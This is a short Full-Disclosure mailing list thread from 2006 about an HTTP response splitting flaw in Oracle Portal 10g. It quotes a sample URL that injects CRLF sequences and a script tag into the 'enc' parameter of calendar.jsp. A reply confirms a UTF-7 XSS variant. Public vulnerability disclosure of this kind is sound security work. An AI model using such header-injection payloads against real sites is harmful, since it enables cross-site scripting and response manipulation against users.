[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting


>From: "Brian Eaton" <eaton.lists@xxxxxxxxx>
>To: "putosoft softputo" <hasecorp@xxxxxxxxxxx>
>CC: bugtraq@xxxxxxxxxxxxxxxxx, full-disclosure@xxxxxxxxxxxxxxxxx
>Subject: Re: [Full-disclosure] Oracle Portal 10g HTTP Response Splitting
>Date: Wed, 20 Dec 2006 13:55:09 -0500
>
>On 12/20/06, putosoft softputo <hasecorp@xxxxxxxxxxx> wrote:
>>Oracle Portal/Applications HTTP Response Splitting
>>--------------------------------------------------
>>
>>Sample:
>>
>>http://<target>/webapp/jsp/calendar.jsp?enc=iso-8859-1%0d%0aContent-length=12%0d%0a%0d%0a%3Cscript%3Ealert('hi')%3C/script%3E
>
>So they let the URL specify the content-encoding?  They might be
>vulnerable to XSS via UTF-7 as well.
>
>Regards,
>Brian

Yeah, it is.

_________________________________________________________________
Moda para esta temporada. Ponte al día de todas las tendencias. 
http://www.msn.es/Mujer/moda/default.asp

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/